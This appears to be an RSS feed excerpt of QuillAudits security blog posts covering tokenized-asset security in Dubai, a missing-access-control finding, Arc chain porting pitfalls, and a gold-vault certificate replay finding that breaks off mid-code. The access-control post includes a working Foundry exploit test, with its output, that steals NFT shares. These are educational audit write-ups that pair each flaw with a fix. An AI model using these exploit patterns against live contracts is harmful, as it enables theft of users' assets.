href="https://www.quillaudits.com/blog/web3-security/building-stablecoin-60-days">stablecoin security blueprint </a>walks through collateral architecture and settlement.</p><h3>Where Dubai tokenization projects break</h3><p>In our <a href="https://www.quillaudits.com/reports">H1 2026 data </a>, $935.3M was lost across 87 DeFi hacks, and 82.7% of it came from key compromise and bridge exploits rather than contract bugs. Tokenized assets inherit every one of those risks, and they add a physical asset and an off-chain registry on top.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pRg5trFMRfhg1LwO" /></figure><h3>The minter</h3><p>In October 2025, Paxos minted 300 trillion PYUSD by mistake from a hot wallet. It burned the excess within 30 minutes, while Aave froze PYUSD markets. Paxos is a regulated issuer, and the contract still let that mint through. Broken mint logic has drained real protocols too, as our breakdowns of <a href="https://www.quillaudits.com/blog/hack-analysis/resolv-labs-exploit-explained">Resolv Labs </a>and <a href="https://www.quillaudits.com/blog/hack-analysis/solv-protocol-exploit">Solv Protocol </a>show.</p><p>For a one-of-one bar, supply is fixed the day the asset is fractionalized, so an extra mint should be impossible. Hard-cap total supply at the number of fractions and close minting after issuance. If minting must continue, gate it on a signed attestation from the registry or custodian, and put the role behind a multisig and a timelock.</p><h3>The feed between the vault and the chain</h3><p>Every RWA token depends on off-chain truth, such as a Tradeflow record, a custodian statement or a DLD(Dubai Land Department) registry entry. Whatever carries that truth on-chain is an attack surface.</p><p>In April 2026, <a href="https://www.quillaudits.com/blog/hack-analysis/kelp-dao-hack">Kelp DAO lost roughly $292M </a>after compromised infrastructure fed false data into a bridge. For an RWA issuer, the equivalent is a spoofed attestation, a replayed registry message or an unauthenticated API response that triggers a mint.</p><p>Defend it with:</p><ul><li>Signed attestations.</li><li>More than one independent source.</li><li>Circuit breakers that pause minting when sources disagree.</li><li>Monitoring that pages a human.</li></ul><p>We cover the server side of this in <a href="https://www.quillaudits.com/blog/web3-security/watching-your-servers">who’s watching your servers </a>.</p><h3>Custody and the signers</h3><p>Physical custody protects the metal Off-chain, and key custody protects the token On-Chain. In February 2025, <a href="https://www.quillaudits.com/blog/hack-analysis/the-bybit-hack">Dubai-based Bybit lost about $1.5B </a>, North Korea’s Lazarus Group compromised a Safe{Wallet} developer machine, altered a routine cold-to-hot transfer and masked it in the signing interface. The signers approved it, and there was no contract bug.</p><p>That is exactly what VARA’s multisig, workstation and signing-halt standards now target. Our write-up of the <a href="https://www.quillaudits.com/blog/web3-security/north-korea-stole-billions">North Korean playbook </a>shows how these attacks start.</p><h3>Redemption</h3><p>Redemption is where the promise gets tested with real money:</p><ul><li><strong>Non-atomic flows.</strong> A burn and payout that are not atomic let a holder claim twice, or lose tokens without getting paid.</li><li><strong>Queue attacks.</strong> A redemption queue can be griefed with dust requests or blocked by a denial of service.</li><li><strong>Rounding.</strong> Rounding on fractional units leaks value over thousands of redemptions.</li><li><strong>Compliance lists.</strong> Allowlist and sanctions logic can trap honest holders.</li></ul><p>Periodic reserve audits leave long blind spots, so reconcile supply against custodian records continuously and stress-test redemption under load before launch.</p><h3>Admin powers and upgrades</h3><p>Compliant tokens need pause, freeze and forced transfer to handle court orders and sanctions, and each one is also an attack path. Separate the roles, timelock upgrades and watch every privileged call in real time.</p><p>Compromised admin controls sat behind <a href="https://www.quillaudits.com/blog/hack-analysis/drift-protocol-multisig-exploit">Drift Protocol’s roughly $285M loss </a>in April 2026. Our <a href="https://www.quillaudits.com/blog/web3-security/the-admin-audit-checklist">admin audit checklist </a>covers what a code audit misses here.</p><h3>Transfers on a public chain</h3><p>The silver bar token lives on BNB Chain, a public network, and regulated secondary trading is scheduled to follow issuance. Transfer rules therefore need enforcing in code, not just in platform terms. Gate transfers through an on-chain identity registry, in the style of ERC-3643, so tokens cannot move to wallets that failed KYC.</p><p>Protect the registry’s admin keys as carefully as the minter’s, and do not bridge the token to other chains unless the bridge has been audited too.</p><h3>OpSec and people</h3><p>The largest losses of 2026 started with people, not code. <a href="https://www.quillaudits.com/blog/web3-security/the-admin-audit-checklist">Drift’s attackers spent six months socially engineering the team </a>before two signers unknowingly pre-approved malicious transactions. Resolv’s minting key sat in a single cloud account. A smart contract audit never looks at these places.</p><p>But an <strong>OpSec audit does</strong>. It maps every privileged key, tests whether signers check raw calldata or just trust the wallet screen, and reviews signer devices, cloud access and social engineering exposure. It also measures how fast an attacker with admin access could drain the system, which is the question VARA’s key compromise standard asks you to answer in advance.</p><p>Investors are targets too. VARA and the DLD have already warned about entities falsely claiming to take part in the real estate tokenization pilot, so publish your official channels and monitor lookalike domains.</p><h3>What a secure build looks like, stage by stage</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TUu9kqP7n5mqHVJY" /></figure><h3>How QuillAudits can help</h3><p>QuillAudits operates from Downtown Dubai and has completed more than 1,500 audits. Its services map onto every pillar in this piece.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fKCbflcbaVAA6OEx" /></figure><ul><li><a href="https://www.quillaudits.com/vciso">vCISO advisory </a>brings security engineers into architecture decisions, such as the ARVA model, mint design and key custody, before anything is built.</li><li><a href="https://www.quillaudits.com/services/rwa-security-audit">RWA and tokenization audits </a>cover mint, burn, redemption, oracle and registry feeds, compliance modules and upgrade paths. For high-value launches, the <a href="https://www.quillaudits.com/services/quillaudits-vigilant-squad">Vigilant Squad </a>puts 10 to 12 independent researchers on one audit.</li><li><a href="https://www.quillaudits.com/services/blockchain-penetration-testing">dApp penetration testing </a>covers the issuance platform, APIs and admin tooling, and <a href="https://www.quillaudits.com/services/wallet-security-audit">wallet security audits </a>cover custody and wallet apps, both scoped to Section E’s testing rules.</li><li>Our <a href="https://www.quillaudits.com/blog/web3-security/the-admin-audit-checklist">Admin Audit </a>reviews what a code audit skips: privileged keys, multisig thresholds, signer devices, cloud access, social engineering resistance, timelocks and incident readiness. The free <a href="https://www.quillaudits.com/multisig-inspector">Multisig Inspector </a>checks a Safe setup in minutes.</li><li><a href="https://www.quillaudits.com/services/vara-compliance-readiness">VARA Compliance Readiness </a>maps your controls to the Technology and Information Rulebook, and <a href="https://www.quillaudits.com/services/iso-27001-readiness">ISO/IEC 27001 </a>and <a href="https://www.quillaudits.com/services/soc-2-readiness">SOC 2 </a>readiness help with institutional partners.</li><li><a href="https://www.quillaudits.com/services/on-chain-monitoring-service">Smart contract monitoring </a>alerts on signer anomalies, timelock changes and unusual admin calls, and <a href="https://www.quillaudits.com/services/incident-response-services">incident response </a>is on hand if something breaks.</li><li>The <a href="https://www.quillaudits.com/rwa-security-score">RWA Security Score </a>rates your protocol across eight risk categories, operational security included.</li></ul><h3>Conclusion</h3><p>Dubai has built a detailed tokenization rulebook, and the silver bar shows that the pieces work together. But a licence sets the floor, not the ceiling. The vault, the registry, the keys and the code each need their own defence, because every mint must remain a true claim on something real. Wanted to learn more about VARA regulation, checkout our detailed blog .</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/web3-security/dubai-tokenization-security"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc7ec7f117a1" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/what-it-takes-to-secure-tokenized-assets-in-dubai-cc7ec7f117a1">What It Takes to Secure Tokenized Assets in Dubai</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quill Findings: Missing Access Control in Tokenized Real Estate]]></title>
            <link>https://medium.com/coinmonks/quill-findings-missing-access-control-in-tokenized-real-estate-9dcabd5769ff?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/9dcabd5769ff</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[rwa]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Tue, 22 Sep 2026 14:05:58 GMT</pubDate>
            <atom:updated>2026-09-22T14:05:58.503Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*E79EVzjDKQdKn-JE.png" /></figure><p>This is the second blog in our series Quill Findings, where we share about interesting vulnerabilities which our auditors found during client audits. Before this if you want to checkout our first blog of this series you can visit that <a href="https://www.quillaudits.com/blog/auditing/eligibility-replay-tokenized-assets"><strong><em>here</em></strong></a>, where we talked about how tokenized gold can be exploited.</p><p>Today our blog is around tokenized real estate protocol. In this protocol all the properties/real-estate is split into NFT shares, which a seller can list in a marketplace and buyer can purchase these share thorugh <strong>buyProperty()</strong> function in the contract. We found a way in which anyone can get property shares for free.</p><h3>How the transfer path works</h3><p>All the property shares of seller lives inside <strong>Property</strong> contract and to keep share transfers strictly controlled, Property contract allows only a handful of address to make any transfer possible. So in this case a second contract which is <strong>PropertyLaunchpad</strong>, seller have to approve this contract for all the shares of seller, each seller have to do this to list their shares. Now this new contract <strong>PropertyLaunchpad</strong> acts as proxy and call <strong>Property</strong> contract for asset transfer requests.</p><p>Now the condition becomes that the PropertyLaunchpad contract have approval from all the seller for all of their shares.</p><h3>What went wrong</h3><p>Now the vulnerability is that PropertyLaunchpad contract have an external function called safeTransferFromNFT() and this function didn’t have any access control, which means anyone can call the function and do transfer from behalf of anyone.</p><pre>function safeTransferFromNFT(address from, address to, uint256 tokenId) external {<br>    property.safeTransferFrom(from, to, tokenId, &quot;&quot;);<br>}</pre><p>The given sample code is just the whole function which was there, with no access checks, it just forwards the call from PropertyLaunchpad contract to Property contract.</p><p>So now anyone can call <strong>safeTransferFromNFT(seller, attacker, tokenId)</strong> directly and since PropertyLaunchpad contract already have approval from all the sellers for all of their shares, so anyone can easily transfer the NFT shares from seller account to their own account with paying anything and completely bypassing the buyProperty() flow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IHQXEN1TSdJ_ua6bW0zg3A.png" /></figure><h3>Proof of concept</h3><p>This is a minimal example code to help you understand the vulnerability from code perspective.</p><p>src/Property.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {ERC721} from &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;<br><br>contract Property is ERC721 {<br>    address public admin;<br>    mapping(address =&gt; bool) public authorized;<br><br>    modifier onlyAuth() {<br>        require(authorized[msg.sender], &quot;Property: not authorized&quot;);<br>        _;<br>    }<br><br>    constructor() ERC721(&quot;Property Share&quot;, &quot;PROP&quot;) {<br>        admin = msg.sender;<br>    }<br><br>    function setAuthorized(address who, bool ok) external {<br>        require(msg.sender == admin, &quot;Property: not admin&quot;);<br>        authorized[who] = ok;<br>    }<br><br>    function mint(address to, uint256 tokenId) external {<br>        require(msg.sender == admin, &quot;Property: not admin&quot;);<br>        _mint(to, tokenId);<br>    }<br><br>    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)<br>        public<br>        override<br>        onlyAuth<br>    {<br>        super.safeTransferFrom(from, to, tokenId, data);<br>    }<br>}</pre><p>src/PropertyLaunchpad.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {Property} from &quot;./Property.sol&quot;;<br><br>contract PropertyLaunchpad {<br>    Property public property;<br><br>    constructor(Property _property) {<br>        property = _property;<br>    }<br><br>    function safeTransferFromNFT(address from, address to, uint256 tokenId) external {<br>        property.safeTransferFrom(from, to, tokenId, &quot;&quot;);<br>    }<br>}</pre><p>test/Exploit.t.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {Test, console2} from &quot;forge-std/Test.sol&quot;;<br>import {Property} from &quot;../src/Property.sol&quot;;<br>import {PropertyLaunchpad} from &quot;../src/PropertyLaunchpad.sol&quot;;<br><br>contract Exploit is Test {<br>    address seller = makeAddr(&quot;seller&quot;);<br>    address attacker = makeAddr(&quot;attacker&quot;);<br>    uint256 constant SHARE_ID = 1;<br><br>    function test_AttackerStealsShareWithoutPaying() public {<br>        Property property = new Property();<br>        PropertyLaunchpad launchpad = new PropertyLaunchpad(property);<br>        property.setAuthorized(address(launchpad), true);<br><br>        property.mint(seller, SHARE_ID);<br>        vm.prank(seller);<br>        property.setApprovalForAll(address(launchpad), true);<br><br>        console2.log(&quot;share owner is seller before attack:&quot;, property.ownerOf(SHARE_ID) == seller);<br>        assertEq(property.ownerOf(SHARE_ID), seller);<br><br>        vm.prank(attacker);<br>        launchpad.safeTransferFromNFT(seller, attacker, SHARE_ID);<br><br>        console2.log(&quot;share owner is attacker after:     &quot;, property.ownerOf(SHARE_ID) == attacker);<br>        assertEq(property.ownerOf(SHARE_ID), attacker, &quot;attacker should now own the share&quot;);<br>        assertEq(seller.balance, 0, &quot;seller received no payment at all&quot;);<br>    }<br>}</pre><p>Run it:</p><pre>forge test --match-test test_AttackerStealsShareWithoutPaying -vv</pre><p>Output:</p><pre>Ran 1 test for test/Exploit.t.sol:Exploit<br>[PASS] test_AttackerStealsShareWithoutPaying() (gas: 285921)<br>Logs:<br>  share owner is seller before attack: true<br>  share owner is attacker after:      true<br><br>Suite result: ok. 1 passed; 0 failed; 0 skipped</pre><p>The Property contract (business logic) deployed, then launchpad created, seller listed their property, gave approval to launchpad and then attacker bypassed the buyProperty() and got the seller’s share through safeTransferFromNFT() which didn’t had the proper access control.</p><h3>The fix</h3><p>Either use the msg.sender as from parameter, or use a centralized trusted sender of these asset transfer transaction and then this function would be accessable by that trusted party only.</p><pre>function safeTransferFromNFT(address to, uint256 tokenId) external {<br>    property.safeTransferFrom(msg.sender, to, tokenId, &quot;&quot;);<br>}</pre><h3>Conclusion</h3><p>This bug might look easy to spot, but missing access control checks on asset transfer function are not that rare in industry. Also confusing with msg.sender value within the proxy model where protocol is using trusted contracts to call their business logic contracts also common and developer should cross check these access checks and always question that who can access what assets in their protocol.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/auditing/missing-access-control"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9dcabd5769ff" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/quill-findings-missing-access-control-in-tokenized-real-estate-9dcabd5769ff">Quill Findings: Missing Access Control in Tokenized Real Estate</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethereum Assumptions That Break on Arc Mainnet]]></title>
            <link>https://medium.com/coinmonks/ethereum-assumptions-that-break-on-arc-mainnet-1daaa9851b8d?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/1daaa9851b8d</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[defi]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[usdc]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Fri, 18 Sep 2026 15:33:39 GMT</pubDate>
            <atom:updated>2026-09-18T15:33:39.665Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m7X2Fjg7v3MuDkJc.png" /></figure><p>The Arc mainnet was launched on September 16, 2026, with BlackRock, DTCC, Visa, Mastercard, and Intercontinental Exchange as the founding validators. The blockchain was created by Circle whose main product is USDC Stablecoin, using the Reth client and being fully EVM compatible. It was also positioned as a network allowing Solidity contracts to be deployed as-is. This is largely correct, but there are fundamental changes which needed to know before porting Ethereum contracts to Arc.</p><p>One of the decision that the USDC stablecoin as the native token of its network. This single change makes Arc Chain differ from Ethereum in few ways. The teams that port their contracts over to Arc, believing Arc is another EVM fork are about to learn the hard way.</p><h3>Why Arc Looks Familiar But Isn’t</h3><p>Arc uses the Reth client for the execution layer and the Malachite consensus mechanism, which is Tendermint BFT engine achieving finality in less than a second. Solidity, Foundry, Hardhat, viem, and etherjs are all compatible. A team porting their contract should be able to deploy it on Arc testnet without issues.</p><p>On Ethereum, ETH is the native currency and every ERC-20 token such as USDC is a separate contract with its own balance mapping. But on Arc, USDC is the native currency. It exists in the balance field of the eoa and contract account just like ETH exists on Ethereum, and it is also accessible via ERC-20 interface from the same contract address it is available on Ethereum.</p><p>A single token having two interfaces with different decimals is the root cause of the issues.</p><h3>Transfers Can Fail Even With Enough Balance</h3><p>The transaction on the Ethereum network will be successful if the contract has sufficient ETH. In case of the Arc Chain, even the transfer of the native USDC will not succeed if the account sending the currency has more than sufficient amount of USDC (native token) balance, as Arc Chain applies restrictions at the protocol level.</p><p>The transfer to zero address will not be possible since USDC burn on Arc is not supported. Transfers to/from blocklisted addresses will also not succeed. Transfer to a contract address which previously did selfdestruct. If the native token (USDC) is transferred to a contract, then it does not mean that the contract receives value as in ERC-20 transfers.</p><p>Below is a withdraw function example that is safe on Ethereum but cannot be safely work on Arc:</p><pre>function withdraw(address payable to, uint256 amount) external {<br>    require(address(this).balance &gt;= amount, &quot;insufficient balance&quot;);<br>    (bool ok, ) = to.call{value: amount}(&quot;&quot;);<br>    require(ok, &quot;transfer failed&quot;);<br>}</pre><p>In this withdraw function case, the balance check is passes, but the call may fail. Within a large function, e.g. liquidations or batch payouts, one failed transfer from the blocklist will cause all the transfers to fail and eventually failing the whole transaction.</p><p>Use eth_call or transaction tracer before sending to simulate and ensure that each native send and contract calls has its own failure scenario rather than relying on the balance check being the sole point of failure.</p><h3>SELFDESTRUCT No Longer Behaves Like Ethereum</h3><p>SELFDESTRUCT on Ethereum sends a contract’s ETH balance to a given address and clears the contract’s code and storage. If that contract also held ERC-20 USDC, those tokens are untouched, since they live in the token contract’s own storage mapping, not the destructed contract.</p><p>Arc changes this because USDC is the native balance. Self-destructing a contract on Arc moves USDC, the same way SELFDESTRUCT moves ETH on Ethereum. SELFDESTRUCT paths can also revert under Arc’s native token transfer rules, and a non-zero-value call to an address that already self-destructed earlier will reverts on Arc, whereas this would succeed on Ethereum.</p><pre>contract LegacyVault {<br>    function close(address payable to) external {<br>        selfdestruct(to);<br>    }<br>}<br><br>contract Migration {<br>    function run(LegacyVault vault, address payable treasury) external {<br>        vault.close(treasury);<br>        // This second transfer can revert on Arc if treasury<br>        // was the beneficiary of a self-destruct earlier in<br>        // this same transaction. On Ethereum it would succeed.<br>        (bool ok, ) = treasury.call{value: 0.01 ether}(&quot;&quot;);<br>        require(ok, &quot;top up failed&quot;);<br>    }<br>}</pre><p>Any migration script, cleanup job, or factory pattern that touches SELFDESTRUCT needs to be tested against Arc directly, not assumed safe because it worked on Ethereum for years.</p><h3>One USDC, Two Decimal Systems</h3><p>USDC on Arc has two deicmal systems, on that is native token has 18 decimals, meanwhile they also have an USDC token interface on standard address as other evm chains have which is 6 decimal point token.</p><p>This mix of decimal values can cause serious rounding bugs in the ethereum contracts, if they were used as its is on Arc Chain.</p><pre>const DECIMAL_OFFSET = 12n;<br><br>function nativeToErc20(nativeAmount: bigint): bigint {<br>  return nativeAmount / 10n ** DECIMAL_OFFSET;<br>}<br><br>function erc20ToNative(erc20Amount: bigint): bigint {<br>  return erc20Amount * 10n ** DECIMAL_OFFSET;<br>}</pre><p>If you skip this conversion in a LTV calculation, or a oracle price feed, or a share price formula, and the contract can cause serious rounding errors and mispricing everything with twelve order.</p><h3>CallFrom Breaks a Compliance Assumption</h3><p>Arc chain added two predeployed contracts, namely Memo and Multicall3From, which delegate calls via a precompile named CallFrom. This precompile manages to preserve the actual caller’s address as msg.sender through batched and delegated calls. It is useful, an application could allow one contract to execute actions on behalf of a user while maintaining knowledge of who started this action.</p><p>Offchain blocklist monitoring tools that focuses only on the immediate caller, i.e., whatever address appears as the sender of a call trace, may get bypassed by delegating calls via Memo or Multicall3From, as the call still have the original msg.sender as its sender address rather than the sender address of the router.</p><p>Arc’s official documentation states this, advising the compliance teams to look into the Memo and Multicall3From contract addresses for their monitoring tools in addition to the addresses transactions seem to originate from. If a team built their screening algorithm without this knowledge previously, they may want to take another look now.</p><h3>Local Testing Won’t Save You</h3><p>Standard Foundry anvil runs a generic EVM, it does not reproduce Arc chain value transfer rules i.e., zero address, blocklist enforcement, SELFDESTRUCT changes, or the CallFrom precompile. A contract can pass a full existing local test suite and still fail the first time, because the local simulator was never testing the behavior that actually run into production</p><p>Arc Foundry, Circle’s fork with arc-forge, arc-cast, and arc-anvil, reproduces the value transfer rules and precompiles that standard anvil doesn’t.</p><h3>What This Means Before You Ship</h3><p>Arc chain run solidity code but it doesn’t run like Ethereum network. There are many rule changes which are clearly documented by Circle team in their documentation. All of this is easy to miss with the rush of shipping to a new chain which have potential to attract new liquidity, but this rush makes it more dangerous, as protocol would learn the hard way if they don’t focus on these required changes. Reading documentation and testing with these new rules is very important, this might lead to many changes in your existing solidity code, which needed to be fixed on day one.</p><h3>Conclusion</h3><p>Arc rewards teams that read the documentation and punishes those who assume EVM compatibility means another Ethereum L2. Native USDC, the decimal split, SELFDESTRUCT, and CallFrom are behavioural changes which needed to be studies before shipping. Test against Arc directly, test your assumptions.</p><p><em>Originally published at </em><a href="https://www.quillaudits.com/blog/web3-security/arc-usdc-traps"><em>https://www.quillaudits.com</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1daaa9851b8d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/coinmonks/ethereum-assumptions-that-break-on-arc-mainnet-1daaa9851b8d">Ethereum Assumptions That Break on Arc Mainnet</a> was originally published in <a href="https://medium.com/coinmonks">Coinmonks</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quill Findings: Eligibility Replay in Tokenized Assets]]></title>
            <link>https://medium.com/coinmonks/quill-findings-eligibility-replay-in-tokenized-assets-fbc17547e5db?source=rss-777959014b94------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbc17547e5db</guid>
            <category><![CDATA[rwa-tokenization]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contract-auditing]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[QuillAudits - Web3 Security ️]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 16:16:42 GMT</pubDate>
            <atom:updated>2026-09-15T16:16:42.692Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wXkyouDM_qGY1_iO.png" /></figure><p>This is one of the vulnerability our auditors had found during a client engagement. We’re sharing it here, because walking through a real bug is one of the best ways to learn what to watch for when you’re building or reviewing something similar. This is the first in a series where we’ll be doing that with some of the more interesting things we catch during audits.</p><p>The protocol in this case is a gold-backed vault. Customers send in physical gold bars, and in return, the protocol gives them a claim token that represents that gold on-chain. Behind the scenes, each bar is tracked with an NFT, called a certificate, that proves the vault is holding that specific bar. We found a way for a customer to take their real gold out of the vault, and then trick the system into minting them a second batch of claim tokens for gold that had already left.</p><h3>How the vault works</h3><p>Every physical gold bar is represented by one certificate NFT. When a new bar arrives, the protocol’s certifier verifies it, and the vault mints a fresh certificate. That certificate stays with the vault, not the customer, as proof the bar is inside, and the vault mints a claim token against it, the customer’s on-chain claim to that gold. A customer can also hand in a certificate they already hold to mint more claim tokens against it, as long as the vault is actually holding the matching bar.</p><p>When a customer wants their gold back, they burn their claim tokens and the vault releases the bar. At that point the certificate is supposed to be worthless. Its only job was proving the vault held that specific bar, and once the bar is out, that’s no longer true.</p><h3>What went wrong</h3><p>The vault doesn’t destroy the certificate on release. It just hands it straight back to the customer, still perfectly valid.</p><p>So the customer walks away holding two things: the gold bar, and a certificate that still tells the vault this bar is safely inside. Nothing stops them from walking back in, handing that certificate over again, and minting a fresh batch of claim tokens for gold that’s already gone.</p><p>The fix already existed in the code. CertificatesNFT.burn destroys a certificate. It can only be called by the vault, and only while the vault holds the certificate, exactly the situation at the moment gold gets released. Nobody called it.</p><p>Here’s the function, the one a customer calls once they’ve burned their claim tokens and are ready to walk out with their gold:</p><pre>certificatePositions[id] =<br>    VaultTypes.CertificatePosition({state: VaultTypes.CertificateState.OutsideVault, activeRequestId: 0});<br>nft.transferFrom(me, recipient, id);</pre><p>The position flips to OutsideVault, and the certificate goes straight back into the customer&#39;s wallet. Nothing marks it as used.</p><h3>Why it’s worse than it looks</h3><p>Getting a genuinely new certificate is hard on purpose: it needs sign-off from the protocol’s certifier, plus a one-time custody reference proving a specific bar arrived. Handing an old certificate back in needs none of that. The vault just checks the certificate says outside the vault and takes its word for it.</p><p>It gets worse. Certificates are never destroyed, so a bar’s serial number stays permanently marked as used. If that same bar genuinely comes back through the front door, the vault can’t issue it a clean new certificate, that path is blocked, the serial number is already taken. Reusing the old certificate becomes the only way back in, for a legitimate return or a fraudulent one. What should be a rare, risky shortcut ends up as the default path, since nothing else works anymore.</p><h3>Proof of concept</h3><p>We built a small working version of the same mechanics to confirm this isn’t theoretical. It isn’t the original’s code, real vaults carry more logic than this, but it reproduces the exact behavior that matters.</p><p>Set up a fresh Foundry project:</p><pre>mkdir gold-poc &amp;&amp; cd gold-poc<br>forge init --no-git .<br>forge install OpenZeppelin/openzeppelin-contracts --no-git</pre><p>remappings.txt:</p><pre>@openzeppelin/=lib/openzeppelin-contracts/<br>forge-std/=lib/forge-std/src/</pre><p>src/VaultTypes.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>/// @notice Minimal illustrative reproduction of the position-tracking types<br>/// referenced in the finding. Not the audited source.<br>library VaultTypes {<br>    enum CertificateState {<br>        None,<br>        Vaulted,<br>        OutsideVault<br>    }<br><br>    struct CertificatePosition {<br>        CertificateState state;<br>        uint256 activeRequestId;<br>    }<br>}</pre><p>src/CertificatesNFT.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {ERC721} from &quot;@openzeppelin/contracts/token/ERC721/ERC721.sol&quot;;<br><br>/// @notice Minimal illustrative reproduction. Represents a custody certificate<br>/// for one physical gold bar held in the vault. Not the audited source.<br>contract CertificatesNFT is ERC721 {<br>    address public immutable vault;<br><br>    modifier onlyVault() {<br>        require(msg.sender == vault, &quot;CertificatesNFT: not vault&quot;);<br>        _;<br>    }<br><br>    constructor(address _vault) ERC721(&quot;Gold Custody Certificate&quot;, &quot;CERT&quot;) {<br>        vault = _vault;<br>    }<br><br>    function mint(address to, uint256 id) external onlyVault {<br>        _mint(to, id);<br>    }<br><br>    /// @dev Only the vault can burn, and only while the vault itself holds<br>    /// the certificate. This is exactly the situation at the moment physical<br>    /// gold is released, which is the call site this finding is about.<br>    function burn(uint256 id) external onlyVault {<br>        require(ownerOf(id) == vault, &quot;CertificatesNFT: vault must hold certificate&quot;);<br>        _burn(id);<br>    }<br>}</pre><p>src/ClaimToken.sol:</p><pre>// SPDX-License-Identifier: MIT<br>pragma solidity ^0.8.24;<br><br>import {ERC20} from 